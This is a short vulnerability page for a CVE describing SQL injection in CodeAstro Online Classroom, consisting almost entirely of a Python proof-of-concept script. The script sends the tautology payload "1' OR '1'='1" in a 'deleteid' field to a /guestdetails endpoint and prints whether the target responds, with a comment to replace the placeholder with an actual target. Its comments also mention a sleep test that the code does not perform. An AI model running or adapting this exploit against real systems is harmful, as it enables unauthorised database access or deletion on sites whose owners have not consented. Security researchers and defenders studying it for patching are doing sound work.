CVE-2026-7196: CodeAstro Online Classroom SQL注入漏洞

import requests def check_sqli(url): target_url = f"{url}/guestdetails" # Payload to test SQL Injection based on vulnerability description # Using a simple logical test to check if the database sleeps or returns true payload = { "deleteid": "1' OR '1'='1" } try: response = requests.post(target_url, data=payload, timeout=5) # Analyze response to determine vulnerability confirmation if response.status_code == 200: print(f"[+] Potential SQL Injection found at {target_url}") print(f"[+] Response length: {len(response.text)}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": target = "http://localhost" # Replace with actual target check_sqli(target)